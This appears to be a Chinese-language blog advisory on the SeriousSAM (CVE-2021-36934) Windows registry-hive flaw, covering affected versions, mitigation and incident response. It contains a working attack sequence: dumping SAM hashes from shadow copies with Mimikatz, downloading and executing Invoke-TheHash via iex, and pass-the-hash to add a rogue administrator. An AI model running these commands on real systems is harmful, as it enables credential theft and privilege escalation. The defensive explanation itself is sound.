微软注册表配置单元漏洞#SeriousSAM深度解析:权限提升与防御策略

本文详细分析CVE-2021-36934(#SeriousSAM)漏洞,该漏洞允许有限用户读取Windows注册表配置单元文件,导致本地权限提升,涵盖影响版本、攻击利用方式及微软官方缓解措施。

关于微软注册表配置单元漏洞需知事项:#SeriousSAM

#hivenightmare / #lolwut

漏洞概述

简而言之 — 这是Windows 10几乎所有受支持版本中未修补的权限提升漏洞。

该漏洞(CVE-2021–36934)允许在Windows 10(或11)上具有有限用户代码执行权限的攻击者本地获取管理员权限,从而实现以下后续攻击:

  • 通过Mimikatz风格的LSASS攻击窃取任何已登录用户的凭据材料
  • 转储并破解缓存的域凭据
  • 通过银票(Silver Ticket)攻击在Windows 10机器上实现持久化

应对措施

微软尚未发布补丁,但提供了可用的缓解方案: 由于权限设置薄弱,有限用户可以读取以下路径的注册表配置单元文件: C:\Windows\System32\config\SAM C:\Windows\System32\config\SYSTEM C:\Windows\System32\config\SECURITY

受影响的Windows 10版本

Windows 10版本1809及以上的新安装版本似乎均存在漏洞,但奇怪的是,更新的Windows 10 20H1 ISO全新安装是个例外。

攻击者如何利用此漏洞?

初始访问的极常见场景是网络钓鱼,使攻击者能够控制员工的计算机(无论是笔记本电脑、台式机、虚拟桌面等)。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
cls
:: 以“limiteduser”身份运行,这是一个不在管理员组中的新账户:
whoami
whoami /groups
net user limiteduser

:: 该系统是Windows 10 1809的新安装,这是最旧的受支持Windows 10版本
:: 与几乎所有此类版本一样,它具有允许有限用户访问注册表配置单元的权限缺陷:
icacls C:\Windows\System32\config\SAM | findstr "Users"

:: 设置指向最新卷影副本的环境变量(默认在系统驱动器>=128GB的Windows 10上启用)
set directory=\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\system32\config
$directory = "\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\system32\config"

:: 将Mimikatz指向VSS备份并筛选Administrator用户和哈希
:: 其他工具也可以做到这一点,或者攻击者可以简单地外泄注册表配置单元并在自己的机器上使用Mimikatz
mimikatz "lsadump::sam /system:%directory%\system /sam:%directory%\sam" exit | findstr /c:"User : Administrator" /c:"8846"
.\mimikatz.exe "lsadump::sam /system:$directory\system /sam:$directory\sam" exit | findstr /c:"User : Administrator" /c:"8846"

:: AMSI在此处或一般情况下不是防御措施
https://amsi.fail/
Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://github.com/Kevin-Robertson/Invoke-TheHash/raw/master/Invoke-TheHash.ps1'))
Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://github.com/Kevin-Robertson/Invoke-TheHash/raw/master/Invoke-SMBExec.ps1'))
Invoke-TheHash -Type SMBExec -Target 127.0.0.1 -Username Administrator -hash 8846f7eaee8fb117ad06bdd830b7586c -Command "net user hacker TipYourWaiters /add"
Invoke-TheHash -Type SMBExec -Target 127.0.0.1 -Username Administrator -hash 8846f7eaee8fb117ad06bdd830b7586c -Command "net localgroup Administrators hacker /add"

:: 与已知密码'password'比较 — 匹配
python -c "import hashlib, binascii; print(binascii.hexlify(hashlib.new('md4','password'.encode('utf-16le')).digest()))"

icacls C:\Windows\System32\config\SAM | findstr "Users"
vssadmin list shadows | findstr "Original"

常见问题解答

从注册表配置单元移除Users组权限是否能修复问题? 不能,原始权限将保留在文件系统的卷影副本快照上(https://twitter.com/wdormann/status/1417525453116608512)

禁用卷影副本服务是否会移除所有先前的快照? 不能,禁用卷影副本服务仅移除为系统保护目的创建的快照(https://twitter.com/wdormann/status/1417547126347808774)

哪些Windows 10版本默认存在漏洞? 基本上,任何从版本1809开始的Windows 10均存在漏洞。然而,Windows 10 1809 ISO的一些后期修订版具有正确/无漏洞的权限,并且这些权限在进一步的Windows更新和升级到后续版本时得以保留。强烈建议将所有受支持的Windows 10版本视为存在漏洞。

来源:https://twitter.com/jeffmcjunkin/status/1417281315016122372 和 https://twitter.com/gentilkiwi/status/1417484076550873089

永不浪费危机

开始发展事件响应能力 Velociraptor具有良好的扩展性,允许全面检查漏洞,并通过微软的缓解方案进行实际修复。

如果其他事件响应工具具备以下最低能力,也可以使用:

  • 解决方案可扩展到您的终端数量
  • 允许对威胁狩猎和行动进行细粒度定位
  • 支持本地、云托管和企业网络外的设备

*感谢我们的朋友Jeff McJunkin与黑山信息安全(BHIS)社区分享他的知识。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计